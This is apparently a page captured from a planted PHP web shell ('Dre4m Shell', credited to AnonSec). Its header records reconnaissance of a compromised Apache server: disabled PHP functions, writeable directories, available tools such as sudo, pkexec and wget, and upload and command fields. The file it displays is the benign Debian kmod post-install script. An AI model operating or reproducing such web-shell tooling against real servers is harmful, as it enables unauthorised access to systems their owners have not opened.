Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.14.255.247
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/lib/dpkg/info/kmod.postinst
#!/bin/sh -e

create_etc_modules() {
  [ -e /etc/modules ] && return 0
  cat <<END > /etc/modules
# /etc/modules: kernel modules to load at boot time.
#
# This file contains the names of kernel modules that should be loaded
# at boot time, one per line. Lines beginning with "#" are ignored.
# Parameters can be specified after the module name.

END
  chmod 644 /etc/modules
}

# move the modules parameters from /etc/modules to a new file in modprobe.d
convert_etc_modules() {
  if dpkg --compare-versions "$2" ge "18-2"; then
    return
  fi

  [ -e /etc/modules ] || return 0

  if [ -e /etc/modprobe.d/etc-modules-parameters.conf ]; then
    echo "/etc/modprobe.d/etc-modules-parameters.conf already exists."
    return
  fi

  perl -e '
  use warnings;
  use strict;

  my @parameters;
  while (<>) {
    /^# Parameters can be specified after the module name\.$/ && next;
    push(@parameters, $1) if s/^( (\s* \w+) \s+ \w.* )$/$2/x;
    print $_;
  }
  exit 0 if not @parameters;

  open(OUT, "> /etc/modprobe.d/etc-modules-parameters.conf") or die "open: $!";
  print OUT "# These parameters have been moved from /etc/modules by the kmod package.\n\n";
  print OUT "options $_\n" foreach @parameters;
  close OUT or die "close: $!";
  ' < /etc/modules > /etc/modules.kmod-postinst

  # replace the old file if it has been changed
  if cmp --quiet /etc/modules /etc/modules.kmod-postinst; then
    rm /etc/modules.kmod-postinst
  else
    mv /etc/modules.kmod-postinst /etc/modules
  fi
}

case "$1" in
  configure)
  create_etc_modules
  convert_etc_modules "$@"

  # on amd64 installer's hw-detect component used to unconditionally
  # add rtc module. Nowawadays, rtc module has been completely dropped
  # from the kernel.
  if dpkg --compare-versions "$2" lt "16-2ubuntu4"; then
      sed -i '/^rtc$/d' /etc/modules
  fi
esac

# Automatically added by dh_installinit
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ]; then
	if [ -x "/etc/init.d/kmod" ]; then
		update-rc.d kmod defaults >/dev/null || exit $?
	fi
fi
# End automatically added section


exit 0

Anon7 - 2022
AnonSec Team